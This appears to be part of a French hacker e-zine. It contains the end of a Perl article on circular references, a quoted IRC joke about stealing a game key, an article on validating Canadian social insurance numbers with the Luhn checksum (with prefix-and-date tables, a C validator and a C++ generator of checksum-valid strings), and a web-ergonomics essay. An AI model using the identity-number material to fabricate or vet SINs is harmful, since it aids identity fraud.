    Item     : ARRAY(0x814e370)
3 - Source   : [3]
    Item     : ARRAY(0x814e370)
-------------------------------------------------------------------------------
-------------------------------------------------------------------------------
Results for ARRAY(0x814e358)
Circular reference          : 0
Internal circular reference : 1
Weak circular reference     : 0
-------------------------------------------------------------------------------
-------------------------------------------------------------------------------
Checking circular references for ARRAY(0x814e370)
-------------------------------------------------------------------------------
Circular reference found : ARRAY(0x814e370)[3]
1 - Item     : ARRAY(0x814e370)
2 - Source   : [3]
    Item     : ARRAY(0x814e370)
-------------------------------------------------------------------------------
-------------------------------------------------------------------------------
Results for ARRAY(0x814e370)
Circular reference          : 1
Internal circular reference : 0
Weak circular reference     : 0
-------------------------------------------------------------------------------

+----------------------+
| Conclusion           |
+----------------------+

Vous pouvez savoir où se situe les références circulaires et également savoir  si  elle   est 
déjà weakened.

+---------------------------------------------------------------------------------------------+
| EOF : Exemple 0x0006 : Utilisation de "print_circular_ref"                                  |
+---------------------------------------------------------------------------------------------+

+---------------------------------------------------------------------------------------------+
| Chapitre douze                                                                              |
|                                                                                             |
| Impossible d'utiliser les références des objets tied                                        |
+---------------------------------------------------------------------------------------------+

Évidemment,  encore  des  problèmes  surviennent  lorsque  vient  le temps  de  vérifier  les 
références  d'un  objet  tied.  L'usage  de ces références pourraient servir  par  exemple  à 
vérifier les références circulaires en observant si une référence est vu plus d'une fois dans 
un chemin. Élas, il semble impossible de le faire. Soit le code suivant :

1  my $self = {'a' => 1,
2              'b' => 2};
3  monitor('self' => \$self);
4  print STDERR \($self->{'a'})."\n";
5  print STDERR \($self->{'b'})."\n";
6  print STDERR \($self->{'a'}).\($self->{'b'})."\n";
7  foreach my $key (keys %$self) {
8      my $keyRef = \$key;
9      my $value = $self->{$key};
10     my $valueRef = \($self->{$key});
11     print STDERR "KEY:$key, KEY REF:$keyRef, VALUE:$value, VALUE REF:$valueRef\n";
12 }

+----------------------+
| Résultat             |
+----------------------+
MONITOR HASH : self
SCALAR(0x8141384)
SCALAR(0x8141384)
SCALAR(0x8141384)SCALAR(0x81413cc)
KEY:a, KEY REF:SCALAR(0x8141420), VALUE:1, VALUE REF:SCALAR(0x824becc)
KEY:b, KEY REF:SCALAR(0x81413cc), VALUE:2, VALUE REF:SCALAR(0x824becc)
DESTROY HASH : self

+----------------------+
| Explications         |
+----------------------+

Nous  voyons  que les références sont les mêmes pour des clés de hash différentes. Il semble 
que le tie me fait chier !!! Mais attendez une minute, est-ce que c'est mon module qui bug ? 
Essayons avec du code plus élémentaire :

1  #!/usr/bin/perl
2  use strict;
3  use warnings;
4  use Tie::Hash;
5
6  my %self;
7  tie %self, 'Tie::StdHash';
8  $self{a} = 1;
9  $self{b} = 2;
10 print STDERR \($self{a})."\n";
11 print STDERR \($self{b})."\n";
12 print STDERR \($self{a}).\($self{b})."\n";
13 foreach my $key (keys %self) {
14     my $keyRef = \$key;
15     my $value = $self{$key};
16     my $valueRef = \($self{$key});
17     print STDERR "KEY:$key, KEY REF:$keyRef, VALUE:$value, VALUE REF:$valueRef\n";
18 }

+----------------------+
| Résultat             |
+----------------------+
SCALAR(0x101112c8)
SCALAR(0x101112c8)
SCALAR(0x101112c8)SCALAR(0x1016cf8c)
KEY:a, KEY REF:SCALAR(0x10133ca4), VALUE:1, VALUE REF:SCALAR(0x1016cfa4)
KEY:b, KEY REF:SCALAR(0x1016cf8c), VALUE:2, VALUE REF:SCALAR(0x1016cfa4)

+----------------------+
| Conclusion           |
+----------------------+

Les références d'objets tied sont mauvaises... On ne peut pas s'en servir pour  détecter  des 
références circulaires... Ceci est vraiment mauvais...

+---------------------------------------------------------------------------------------------+
| Chapitre treize                                                                             |
|                                                                                             |
| Conclusion                                                                                  |
+---------------------------------------------------------------------------------------------+

Si weaken ne me faisait pas de troubles, ce serait vraiment mais vraiment bien.


J'ai les mains liés et je ne peux rien faire d'autre que  de  visualiser  les  variables  non 
détruites, puis de détecter les références circulaires pour  ensuite mettre des weaken. Rendu 
à ce point, je ne peux plus rien faire  d'autre que de m'embarquer dans la science de l'essai 
erreur à savoir si la variable est réellement détruite. Je dois à ce jour tester manuellement 
avec mod_perl. Il est réellement dommage, qu'après être allé aussi  loin,  que  je  me  fasse 
arrêter par le simple weaken. Avoir été dans n'importe quel autre  langage de haut niveau, je 
n'aurais tout simplement pas pu faire ce genre  de chose. Avec Perl, les possibilités étaient 
quasi-infinies... Mais voilà qu'il resserre sa corde à mon cou tel un cowboy en furie.

Pour réellement régler le problème, je devrais aller directement dans le code source de Perl, 
chose que je ne ferai sans doute pas faute de temps.

warn "J'ai faim\n";

+---------------------------------------------------------------------------------------------+
| Chapitre quatorze                                                                           |
|                                                                                             |
| Signature                                                                                   |
+---------------------------------------------------------------------------------------------+

Amoureusement vôtre,

nothing94

+---------------------------------------------------------------------------------------------+
| Chapitre quinze                                                                             |
|                                                                                             |
| Post-scriptum                                                                               |
+---------------------------------------------------------------------------------------------+

Si vous trouvez des solutions aux problèmes énumérés dans ce texte, faites moi signe.


  ________________________________________________________________  ____   __   __ 
 /   ___________________________________________________________  ____   __   _  /, `
 \  /   \[:P]/      \_____                                                   ___/    ;
 |\/  '  \__/ . ' ;   |  \____           /:/=[  Info-Pubs  ]=\:\         _____/  x  ` 
 || `  ()            -+-   \____   ________________________   ____ ____   /  ,   . |  ,
 || + .  . ` ; ` : `  | x  ,  :/ _/ , x      ;  '  . .  +  \_ \   \\_ x\_ \      -=+=-
 ||  ____  ____    __     _    // _      '_    ___  ________ \\_` \_ \ _ \\_   .  `| ,
 ||.|                                                        \_ \   \\_  \_ \         `
 || |                                                          \\_  \_ \   \\_ M  ; . X
 || |<Zodiac> kkun connais un programme de hackage ni trop     \_ \   \\_  \_ \ K      
 || |basique ni trop avancé ? :P                                 \\_  \_ \   \\_ -  : '
 ||`|<Wyzeman> google.ca                                         \_ \   \\_  \_ \ 1   
 || |<Zodiac> ah non c'est trop utilisé sa                         \\_  \_ \   \\_ 1  + 
 || |<Wyzeman> c ptete bon signe                                   \_ \   \\_  \_ \ 1   
 ||'|<Zodiac> on ma piker mon jeux de Counter Strike et jveut aller  \\_  \_ \   \\_  x 
 || |chercher la clé dans le registre du mec, et par la meme occasion\_ \   \\_  \_ \  `
 || |<Wyzeman> bien sur, et moi jsuis robin des bois ?                 \\_  \_ \   \\_  
 ||,|<Zodiac> non ta raison jdit nimporte koi, jveut seulement         \_ \   \\_  \_ \.
 || |sur le pc d'un copain et ke lui fasse pareil                        \\_  \_ \  _\\_  
/ | |<Wyzeman> jpeu detruire tes illusions tout de suite ?               \_ \   \\_/    \
 / ;|<Zodiac> tu peut te les mettres au cul premierement moi jme casse     \\_  \_       |
  | |de se canal a la con, et t'avise pas de toucher a mon pc              _\ \   /      |
//  |__________________  __________   _____     ___     _      _      ___ _\_ \__/       |
 /\_____ ` + . _// ` x ,   ,   `    ; X  `           :      .   -+-  :    ,  \\_/        |
\\_     \_____/  /___________  +  :  .    ,  ` x  ,     " ,   .  `   .   ____\           |
\_ \                        \___________________________________________/                |
  \\_ /:/=[ #hack.fr un endroit ou l'on se soucie de vous                         ]=\:\  |
  \__\__________________________________________________________________________________/





  ________________________________________________________________  ____   __   __ 
 /   ___________________________________________________________  ____   __   _  / `
 \  /   \[O3]/ +   ,\_____                                                   ___/ .  `
 |\/   , \__/  .        \____ /:/=[ un affaire de NAS             ] =\:\ _____/  `  x
 || ,    .         "   :X  \_______________________________   ____ ____   /    ,  `  `
 ||         +  ,   () .         x  , .           `   '   ` \_ \  ,\\_ +\_ \ 'M  ` |  .
 ||   ` |  `       ,      `   ,         +  ,  ` ,--,   +   . \\_  \_ \ , \\_  K  -+-   
/ |+   -+-    .        ,       `      ,       ,',/ ,'.       \_ \ . \\_  \_ \  -  |   `
 /    . |  ;     +         +  .   `   | :  .  :`` ,_):   '   ` \\_  \_ \   \\_` 1   ,  
 / ` .      .        x          ,  .-=+=-     `. ,. ,'  ` ,    \_ \ + \\_` \_ \  1
 /\_____  x    ' ,      . . X         |   `     `--'  `      `   \\_  \_ \ , \\_  1 +
\\_     \___________________ ,  .  .  ` ,  +  '   ,    , ; x   ._\  \___\\___\  \ .   
\_ \                        \__________________________________/                 \  ` ,
  \\_ /:/=[ Aka: un affaire de numero dassurence social nheeeeeeuuuuhhhh!]=\:\    \    
  \__\__________________________________________   ______________________________  \`  
                                                \__\                            /__/   
                                                  \\_ /:/=[    Nexact    ]=\:\ _//     
                                                  \__\________________________/__/ 


Une affaire de numéros d'assurance social ... 

L'algorithme Luhn(aussi appelle modulus 10 ou mod10) utiliser pour  générer  des  numéros  de 
carte qui est maintenant utilisée dans le  domaine  public  a  été  developper  en  1960 pour 
la  validation  de  numéros  unique  par  exemple,  celle  d'une  carte de crédit, un  numéro 
d'assurance social, numéro d'assurance, ect..

Bref, comme dans presque chaque numéro généré pour être utilisé  dans  le public se cache une 
algorithme voici celle utilisée pour savoir la validité d'un numéro :

    046 454 286  <  # d'assurance social

    046 454 286  \/  multiplier le haut
    121 212 121  /\  avec ces numéros.
    -----------
    086 858 276


0*1 = 0  4*2=8  2*1=2
4*2 = 8  5*1=5  8*2=16 <-- 6+1 = 7
6*1 = 6  4*2=8  6*1=6

Si la multiplication de a*b est un digit a 2 chiffres
vous devez les additionner.
ex: 8*2=16 <-- 6+1 = 7 <- ont utilisent ce chiffre.

Maintenant ont additionne le résultat:
0+8+6+8+5+8+2+7+6=50
                  /\
                Si le total est n/10 .. c'est un # valide.
                Sinon, c'est un faux #.

L'analyse d'un numéro :
Le premier chiffre ce trouve a être la province d'enregistration
1 = NB, NF, NS, PE   6 = AB, MB, SK, NT, NU?       
2 = QC               7 = BC, YU                    
3 = mutant de quebec 8 = Not Used                  
4 = ON               9 = Immigrants & # temporaire.
5 = ON               0 = pas utilisé              

voilà la fonction pour éviter de pitonner :]
int valid_number(char *number) {
    int i, n, sum = 0;
    char alternate = 0;

    for (i = strlen(number) - 1; i >= 0; i--) {
        n = number[i] - '0';
        if (alternate) {
            n *= 2;
            if (n > 9)
                n = (n % 10) + 1;
        }
        sum += n;
        alternate = !alternate;
    }

    return (sum % 10 == 0);
}

Plusieurs  personnes  ont  déjà  collaboré  pour  essayer  d'établir une database .. Mais bon 
celle-ci est incomplète ...

le 2ieme et 3ieme chiffre semble être la date de naissance  voici  une petite table récupérer 
d’hackcanada:

___________________________________________________________________
|(AB)       Alberta  |(BC)British Columb. | (ON)       Ontario    |
|------------------  | ------------------ | --------------------  |
|623     1955-08-08  | 700     1935-08-11 |   404     1941-07     |
|624     1957-08     | 703     1937-01-05 |   409     1943-07-30  |
|624     1957-11     | 704     1941-08-31 |   423     1946-01-24  |
|631     1966-05-31  | 706     1947-09-26 |   425     1946-06     |
|637     1967        | 710     1968       |   443     1953-09     |
|637     1968-10-08  | 720     1963-07-07 |   448     1955-04-01  |
|639     1973-08-19  | 723     1966-07-28 |   448     1955-09-18  |
|640     1968-01-29  | 725     1970       |   452     1956-07     |
|640     1971-08-17  | 726     1972-12    |   457     1958-05-21  |
|642     1972-09-24  | 726     1973-10-12 |   464     1960        |
|642     1974-06-27  | 726     1973-11-19 |   465     1961-03-25  |
|644     1975-01-06  | 726     1974-07-27 |   466     1959-01-27  |
|644     1977-12-01  | 727     1974-12-31 |   467     1961-02-07  |
|645     1976-09-16  | 728     1978-02-15 |   471     1960-11-14  |
|645     1977-02-17  | 728     1978-02-15 |   475     1960-06-28  |
|647     1978-08-17  | 729     1977-01-09 |   479     1973-07     |
|648     1982-04-07  | 729     1977-05-12 |   482     1965-03-28  |
|649     1983-01-08  | 729     1978-07-27 |   486     1970-02-20  |
|650     1981-11-11  | 732     1980-03-05 |   486     1970-10-14  |
|650     1983-01-14  | 733     1982-04-18 |   488     1971-07-21  |
|650     1983-12-20  | 733     1982-05-12 |   490     1962-10-03  |
|651     1981-10-29  | 734     1980-06-29 |   490     1971-01-23  |
|651     1982-10-10  | 734     1982-10-02 |   490     1972-01-03  |
|652     1982-04-24  | 734     1984-12-25 |   493     1972-10-12  |
|653     1984-11-14  | 736     1983-11-01 |   495     1975-09-04  |
|654     1984-01-26  | 736     1984-07-05 |   496     1972-09-03  |
|654     1985-04-21  | 737     1984-09-20 |   496     1975-10-29  |
|657     1986-03-27  | 739     1985-07-17 |   498     1974-11-21  |
|659     1987-08-28  |                    |   498     1975-04-30  |
| --------------------------------------- |   499     1976-09-20  |
|(MB)      Manitoba  | (NB) New Brunswick |   500     1975-10     |
| ------------------ | ------------------ |   503     1977-05-13  |
|600     1941        | 106     1938       |   503     1979-09-20  |
|608     1946-09-10  | 120     1965-12-14 |   505     1979-05     |
|610     1938-12-13  | 121     1965-09-14 |   505     1979-10-01  |
|614     1950-02     | 122     1970-03-14 |   505     1979-10-08  |
|615     1943-01-06  | 123     1968-03-18 |   505     1980-07-23  |
|621     1953-05-23  | 127     1981-12-17 |   505     1980-10-23  |
|622     1954-02-22  | 129     1983-11-22 |   506     1980-09-01  |
|623     1953-01-31  | 128     1985-01-10 |   511     1980-08-20  |
|623     1953-07     |                    |   512     1982-03-07  |
|623     1955-01-22  | (NF)  Newfoundland |   513     1980-09-11  |
|624     1957-11-22  | ------------------ |   514     1981-07-12  |
|625     1957-05-20  | 112     1954       |   514     1983-04-11  |
|628     1960-12-26  | 114     1960-07-23 |   515     1981-05-15  |
|634     1957-07-14  | 126     1977-07-12 |   516     1980-08-09  |
|635     1960-06-07  | 129     1987-04-21 |   516     1981-08-05  |
|635     1964-02-01  |                    |   516     1982-09-30  |
|636     1965-01-13  | (NS)   Nova Scotia |   516     1983-09-15  |
|637     1966-02-09  | ------------------ |   516     1983-10-08  |
|640     1979-12-18  | 113     1965       |   518     1983-05-06  |
|641     1971-10-25  | 119     1964-11-15 |   519     1981-10-16  |
|642     1974-09-04  | 120     1964-08-11 |   520     1984-02-10  |
|643     1974-06-13  | 122     1966-05-05 |   521     1984-11-29  |
|644     1977-10-29  | 123     1971       |   522     1981-11-19  |
|645     1978-10-01  | 124     1975-10-31 |   522     1985-12-05  |
|646     1982-03-07  | 125     1978       |   523     1982-03-17  |
|648     1978-03-15  | 127     1981-12-04 |   525     1982-11-28  |
|648     1978-04-03  | 130     1985-05-12 |   525     1983-07-17  |
|648     1978-09-28  |                    |   525     1985-05-09  |
|649     1984-10-17  | (NT)           NWT |   527     1983-02-24  |
|650     1979-05-14  |--------------------|   528     1984-08-06  |
|650     1979-07-29  | 643     1975-05-16 |   529     1985-02-13  |
|652     1980-12-09  | 643     1975-08-30 |   529     1985-09-06  |
|------------------- | ------------------ |   530     1984-07-24  |
| (PE)           PEI | (QC)        Quebec |   532     1985-02-01  |
| ------------------ | ------------------ |   536     1985-08     |
| 121     1983-05-26 | 227     1949-09-20 |   540     1987-07-08  |
| (SK)  Saskatchewan | 232     1951-10-12 |------------------------
| ------------------ | 233     1951-08-05 |
| 606     1946-02    | 246     1961-04-28 |
| 632     1963       | 252     1963-10    |
| 632     1969-10-11 | 259     1963       |
| 639     1968-11-25 | 270     1973-05-29 |
| 640     1969-12-04 | 271     1975-10-18 |
| 640     1971-11    | 272     1974-06-02 |
| 643     1973       | 273     1977-01-18 |
| 647     1981-08-23 | 274     1978-08-11 |
| 647     1983-11-24 | 276     1980-05    |
| 650     1980-10-21 | 279     1980-05-31 |
| 651     1982-11-24 | 279     1980-09-25 |
| 654     1983-12-02 | 280     1981-10-30 |
| 656     1983-02-06 | 284     1981-10-19 |
| 658     1987-11-17 | 285     1984-05-25 |
|                    | 286     1983-06-04 |
|                    | 289     1984-10-30 |
|                    | 291     1985-07-04 |
|                    | 291     1986-07-27 |
|                    | 291     1986-04-18 |
|                    | 293     1987-07-05 |
------------------------------------------


Bref, ont peux coder un générateur asser facilement..  voici  un  petit  bout  de  code   qui 
pourrait être utile dans certains de vos projets  en gros, ça génère un nick de 9 lettres pis 
la fonction pour vérifier s'il est valide

#include <string>   
#include <iostream> 
#include <fstream>  
#include <sstream>  
#include <vector>   
#include <time.h>

using namespace std;

int decryptnick(string nick);
string rndnick();

int main() {
 string nickname;
 srand(time(0));
 cout << "generation d'un nickname:" << endl;
 while(1) {
	nickname = rndnick();                                                                                     
	cout << "checking:" << nickname;                                                                          
	if (decryptnick(nickname) == 0) {
		cout << "<- VALIDE" << endl; break;
	} else { cout << "<- INVALIDE" << endl; }
 }
 	return 0;
}
string rndnick() {
	char nick[10];
	int i = 0,rnd;
	memset(nick, 0, sizeof(nick));
	for (i=0;i<9;i++) {
		rnd = rand()*(4-1)/RAND_MAX+1;
		if (rnd == 1) { nick[i] = rand()*(58-49)/RAND_MAX+49; }
		if (rnd == 2) { nick[i] = rand()*(91-65)/RAND_MAX+65; }
		if (rnd == 3) { nick[i] = rand()*(100-97)/RAND_MAX+97; }
		if (i == 0) { nick[i] = rand()*(91-65)/RAND_MAX+65; }
	}
	nick[9] = '\0';
	string nickname(nick);
	return nickname;
}

int decryptnick(string nick) {
	int total=0,calc=0,i=0;
	stringstream num;
	string no,realno;
	for (i = 0;i < 9;i++) num << (int)nick[i];
	no = num.str();
	for (i = 0;i < 18;i++) if ((i % 2) == 1) { realno += no[i]; } i = 0;                                     
		for (i = 0;i < 9;i++) {
		calc = realno[i] - 48;
		if ((i % 2) == 1) { total += calc; }
		else {
			if ((calc * 2) >= 9) { total += (calc*2-9); }
			else { total += (calc*2); }
		}
	}
	if ((total % 10) == 0) { return 0; }
	else { return 1; }
	return -1;
}

Si jamais vous avez des projets interessant, aek ca, faite moi s'en part ;]
Thx HackCanada :]
                               __   
.-----.-----.--.--.---.-.----.|  |_ 
|     |  -__|_   _|  _  |  __||   _|
|__|__|_____|__.__|___._|____||____|
                             -nexact 





  ________________________________________________________________  ____   __   __ 
 /   ___________________________________________________________  ____   __   _  /, `
 \  /   \[:P]/      \_____                                                   ___/    ;
 |\/  '  \__/ . ' ;   |  \____           /:/=[  Info-Pubs  ]=\:\         _____/  x  ` 
 || `  ()            -+-   \____   ________________________   ____ ____   /  ,   . |  ,
 || + .  . ` ; ` : `  | x  ,  :/ _/ , x      ;  '  . .  +  \_ \   \\_ x\_ \      -=+=-
 ||  ____  ____    __     _    // _      '_    ___  ________ \\_` \_ \ _ \\_   .  `| ,
 ||.|                                                        \_ \   \\_  \_ \         `
 || |               La radio 31337 est de retour!              \\_  \_ \   \\_ M  ; . X
 || |                                                          \_ \   \\_  \_ \ K      
 || |   Après de nombreux mois d'absences, init & last font un   \\_  \_ \   \\_ -  : '
 ||`| comming back en force, avec une émission de radio leet     \_ \   \\_  \_ \ 1   
 || | qui sera diffusée sur Internet à chaque semaine (on va       \\_  \_ \   \\_ 1  + 
 || | essayer entk).                                               \_ \   \\_  \_ \ 1   
 ||'|                                                                \\_  \_ \   \\_  x 
 || |  De plus, tant qu'a faire, on a décidé d'en faire un poste     \_ \   \\_  \_ \  `
 || |  de radio complet avec d'autres animateurs, tel que c4ndu,       \\_  \_ \   \\_  
 ||,|  Wyzeman et aOne.                                                \_ \   \\_  \_ \.
 || |                                                                    \\_  \_ \  _\\_  
/ | |  Pour plus d'infos, ou juste pour écouter, aller voir le site web! \_ \   \\_/    \
 / ;|         http://radio31337.mindkind.org (mp3 offline disponible)      \\_  \_       |
 /  |__________________  __________   _____     ___     _      _      ___ _\_ \__/       |
 /\_____ ` + . _// ` x ,   ,   `    ; X  `           :      .   -+-  :    ,  \\_/        |
\\_     \_____/  /___________  +  :  .    ,  ` x  ,     " ,   .  `   .   ____\           |
\_ \                        \___________________________________________/                |
  \\_ /:/=[ Radio 31337 de retour cette été! http://radio31337.mindkind.org/      ]=\:\  |
  \__\__________________________________________________________________________________/


  ________________________________________________________________  ____   __   __ 
 /   ___________________________________________________________  ____   __   _  / `
 \  /   \[O4]/ +   ,\_____                                                   ___/ .  `
 |\/   , \__/  .        \____ /:/=[ Un affaire d'ergonomie web    ] =\:\ _____/  `  x
 || ,    .         "   :X  \_______________________________   ____ ____   /    ,  `  `
 ||         +  ,   () .         x  , .           `   '   ` \_ \  ,\\_ +\_ \ 'M  ` |  .
 ||   ` |  `       ,      `   ,         +  ,  ` ,--,   +   . \\_  \_ \ , \\_  K  -+-   
/ |+   -+-    .        ,       `      ,       ,',/ ,'.       \_ \ . \\_  \_ \  -  |   `
 /    . |  ;     +         +  .   `   | :  .  :`` ,_):   '   ` \\_  \_ \   \\_` 1   ,  
 / ` .      .        x          ,  .-=+=-     `. ,. ,'  ` ,    \_ \ + \\_` \_ \  1
 /\_____  x    ' ,      . . X         |   `     `--'  `      `   \\_  \_ \ , \\_  1 +
\\_     \___________________ ,  .  .  ` ,  +  '   ,    , ; x   ._\  \___\\___\  \ .   
\_ \                        \__________________________________/                 \  ` ,
  \\_ /:/=[ Aka:                                                         ]=\:\    \    
  \__\__________________________________________   ______________________________  \`  
                                                \__\                            /__/   
                                                  \\_ /:/=[      h3      ]=\:\ _//     
                                                  \__\________________________/__/ 



	Bon.. j'croyais avoir inventé un nouveau  terme..  mais  malheureusement  google  m'a 
ramené à la réalité en 0.18 seconde. (plus 20 secondes pour afficher 
la page en 56k :|)

Results 1 - 10 of about 194 for "software ergonomy". (0.18 seconds)

	Encore une fois, mon idée est morte dans l'oeuf.. Mais bon, j'me console en me disant 
qu'elle n'était pas si bête s'il y a des cours sur l'ergonomie au niveau software.

	Je vois déjà les e-mails de programmeurs chevronnés me disant;"C'est rien de nouveau, 
c'était le 2ieme chapitre de  mon  livre  de  premiere  session  quand  j'étudiais  en  génie 
logiciel..  Bon.. Peut-être. Mais je n'ai pas étudié en  programmation,  à vrai dire, je n'ai 
même pas étudié en informatique.

	Et c'est vrai, le sujet a surement été mieux traité dans les livres. Je  croyais  que 
mon  idée  ne  valait  plus  la  peine d'écrire un article, mais en repensant à la façon dont 
l'idée m'est venue, j'ai réalisé qu'il en valait peut-être l'effort.

	La première  question  qui  m'est  venue  à  l'esprit,  c'est pourquoi après 3 ans de 
programmation php (plus comme passe-temps  que  comme  travail). Je  n'avais  jamais  entendu 
parler d'ergonomie software.. Pourtant, je lis régulièrement sur des sujets assez avancés... 

	En gros, je trouvais que 
l'interaction entre les utilisateurs et les sites webs est souvent  "mal  foutue".  Ca  l'est 
pour les sites web, mais c'est encore plus flagrant losrqu'on utilise des "applications web". 
Avec  le temps, j'ai remarqué qu'une application  a  beau  donner  le  résultat  attendu,  si 
l'interaction entre l'utilisateur et le  programme  est  trop  complexe ou trop "mal foutue", 
l'utilisateur en question  cessera de tout simplement de l'utiliser..

	Évidemment, la question est: "Pourquoi l'interaction  sur  le  web  est  si pénible?" 
Surtout dans le contexte d'application web  dynamique. La réponse est assez simple, mais elle 
met en contexte plusieurs facteurs. Les plus importants sont les suivants:

	- Le protocol HTTP
	- Le manque cruel de standards stables, éprouvés et surtout 
	  <strong>respectés</strong> au niveau des languages interpretés 
	  (de moins en moins vrai avec l'arrivée du xhtml strict)
	
	La liste pourrait surement être plus longue, mais la plupart des problèmes inhérent à 
l'ergonomie software sur le web découlent surtout du protocol HTTP.  Pour  la simple et bonne 
raison   qu'il  n'a  pas  été  conçu,  pour  gérer   un  flot  d'informations  dynamiques  et  
bidirectionnels.  Même  le  nom le dit, Hyper  Text Transfert Protocol.. L'idée de base était 
de prendre un fichier texte, de le  mettre  sur  un  serveur,  puis  le  serveur  en question 
retourne le contenu du fichier texte  sous  forme  "plain  text".   Seul   un   language   de 
programmation à balises était supporter, le html, dérivé du SGML (Standard Generalized Markup 
Language) lui même ayant été développé pour structurer des données. 

	En tenant compte du but original qui était de formatter et de rendre plus lisible les 
donnés du web. Jusque là le but était plus ou moins  atteint. La où les problèmes commencent. 
Avec le temps et l'avancement des technologies, les objectifs ont déviés, malheureusement pas 
toujours dans le bon  sens. Beaucoup d'autres languages ont été ajoutés à la longue liste des 
languages supportés par le web d'aujourd'hui (voir la tableau 2).  Bref,  le  protocole  HTTP 
transfert maintenant plus de lignes de code que de Texte. 

	L'autre  inconvéniant  du  protocol  HTTP  est  sa  structure  qui  est basée sur des 
requêtes/réponses (qui comprennent les méthodes GET/POST), mais qui exige que le  buffer soit 
"flushé"  puis  retransféré  complètement  pour  afficher  le  nouveau  contenu.  Sa    brise 
radicalement la fluidité dans l'utilisation d'un programme web. Les  languages  "client-side" 
comme le javascript ont bien sur été implantés pour palier  à  ce manque. C'est bon pour  les 
opérations calculables du coté client, mais si une  requête  doit être faite au server et que 
de l'information doit être reçue et  traitée avant d'être renvoyée au client, vous risquez de 
frapper un mur si  vous  ne  voulez pas d'un "refresh". À moins d'utiliser des méthodes assez 
complexes,  comme  une  2ieme  connection entre le server et le client, mais persistante, qui 
gère l'interaction entre le "programme web" et sont interface remote.. On  appele ca du RPC*. 
Ce n'est pas, à mon avis, la solution idéale, car elle comporte beaucoup de faiblesses et est 
relativement complexe à utiliser, car  elle  fait appel à un programme client et un programme 
serveur  qui  communique  ensemble  via  un  autre  port TCP. Alors beaucoup de calculs et de 
processing pour rien, en plus d'avoir à utiliser un port TCP autre que le 80,  donc  qui peut 
être bloqué par un firewall. Malgré cette  perspective  plutôt  sombre,  une  solution  vient 
peut-être éclairer nos pauvres âmes de patenteux.. Le " XMLHttpRequest"..  En gros, il   fait 
exactement ce que le RPC tente de faire, mais en étant un standards accepté, il sera surement 
beaucoup plus accessible  et stable que le "pseudo RPC". Pour plus d'informations à propos du 
XMLHttpRequest, visitez le  site suivant: 

http://www.xml.com/pub/a/2005/02/09/xml-http-request.html

	Le non respect délibéré ou non des standards par les  compagnies  qui  produisent les 
fureteurs nous complique aussi incroyablement  la  tâche.  Souvent  des  dizaines,  voir  des 
centaines de lignes de codes doivent être ajoutées au  site pour que le site sorte exactement 
pareil   dans  tous  les  fureteurs. Sans  compter  que  certaines  compagnies  malveillantes 
(<B>MICROSOFT< STRONG/>) ajoutent  leurs propres standards propriétaires dans leur fureteurs. 
Ou ils refusent  catégoriquement  de se plier à un standard pourtant accepté de tous pour des
raisons inconnues, mais surement futiles. Peut-être que c'est juste pour  nous  compliquer la 
vie.. Si c'est le cas, ils ont réussi :|  Un  exemple  frappant  est  l'élément  CSS  "fixed" 
qu'Internet Explorer ne supporte pas..  Pourtant  QUOI  DE PLUS UTILE que de pouvoir dire: je 
veux que cet élément la  reste  a cette position la, MEME si le user scroll .. Biensur il y a 
des  "workaround" ou des  "tricks" pour contourner le problème,  mais  souvent  ces  solution 
apportent autant de problèmes qu'il n'en règles, en plus de prendre 100x plus de bytes que le 
mot F I X E D. Cases studies:

Méthode #1
http://tagsoup.com/-dev/null-/css/fixed/

L'effet  est  la..  tout  fonctionne  comme dans firefox et seulement avec des  tricks  CSS.. 
Félicitation champion. Mais le "hic", c'est qu'avec cette  méthode  vous  perdez l'élément de 
position "absolute" .. PRATIQUE .

Méthode #2
http://www.howtocreate.co.uk/fixedPosition.html

L'effet  est  surprenant  et je n'ai pas trouvé d'inconvéniants majeurs si ce  n'est  que  la 
grosseur du code pour arriver à un résultat qu'un mot de 6 lettres  arrive  à  faire  dans un 
browser  comme  Mozilla  Firefox  et  qu'il  fait  appel  à des fonctions obscures d'internet 
explorer dont j'ignorais totalement l'existance..

<!--[if gte IE 5.5]>
<style type="text/css">
div#fixme {
	/* IE5.5+/Win - this is more specific than the NS4 version */
	left: expression( ( 20 + ( ignoreMe2 = document.documentElement.scrollLeft ? document.documentElement.scrollLeft : document.body.scrollLeft ) ) + 'px' );
	top: expression( ( 10 + ( ignoreMe = document.documentElement.scrollTop ? document.documentElement.scrollTop : document.body.scrollTop ) ) + 'px' );
}
</style>
<![endif]-->


	... Avouez que ce n'est pas catholique :p J'avoue que <!--[if gte IE N]>  j'ai trouvé 
ca  bien  comme  "trigger",  ca  permet  de  trier  les  browser  cons des intelligents. Mais 
"expression" .. wtf ? Je vous passe les exemples avec  javascript  qui  font  refresh continu 
pour "tracker" les scroll de l'utilisateur  et repositionner l'élément .. C'est vraiment laid 
et il n'y a que Microsoft pour nous pousser à coder des atrocités du genre.

	Mais voilà qu'avec l'arrivée d'un web dit "sémantique", on voit peut-être la  lumière 
au bout du tunnel. Le XHTML strict jumelé au css, xsl, xsd, xml devrait  nous aider à séparer 
les données de la présentation graphique et forcer les compagnies de fureteur à se plier plus 
aux standards. Une fois cette étape  franchie,  développer  des applications web devrait déjà 
être plus facile. Et si  le  XMLHttpRequest tient ses promesses,  le  web  devrait  voir  une 
véritable explosion de réel "applications web" performantes  offrant  des  possibilités  dont 
nous ne fesions que rêver (*tousse* http://maps.google.com *tousse*). 

	De grands pas on été faits  pour  rendre  le  web  plus  dynamique,  mais l'ergonomie 
software ne fait pas partie du  dictionnaire  de  tous  les  programmeurs web. Un bon exemple 
d'une bonne ergonomie software et un autre un  peu  plus moyen, c'est de comparer google mail 
(gmail) à hotmail avec une  connection  dialup (56k). Gmail est vraiment conçu dans le but de 
minimiser au  maximum  le  nombre  et  le  temps  de refresh ainsi que la quantité de données 
envoyées  au  client,  ce  qui  rend  son utilisation beaucoup plus fluide et "real time" que 
hotmail. C'est très important, car l'utilisateur se lasse très rapidement devant un site trop 
long à télécharger.

	Souvent l'ergonomie se concrétise  dans  de  petits  détails,  comme  la  possibilité 
d'effectuer des tâches groupées pour gagner  du  temps et l'ajout de "shortcut keys" pour les 
utilisateurs avancés. Bref, n'importe quoi qui  n'encombre  pas visuellement l'application et 
qui rend l'interaction entre l'utilisateur et le programme plus fluide et facile.

	Utilisez  les  bon  "input  controls"  aux  bons endroits. Les input control sont les 
méchanismes d'acquisition de données comme les checkbox, radio, select,  textarea  etc.   Ils 
sont très utiles pour recevoir de l'information de la part d'un utilisateur, mais ils doivent 
être choisis avec soin selon le contexte et le  type  de  données acquises. Par exemple, pour 
choisir parmis une énumération de noms plus ou moins longue comme une liste de ville ou pays, 
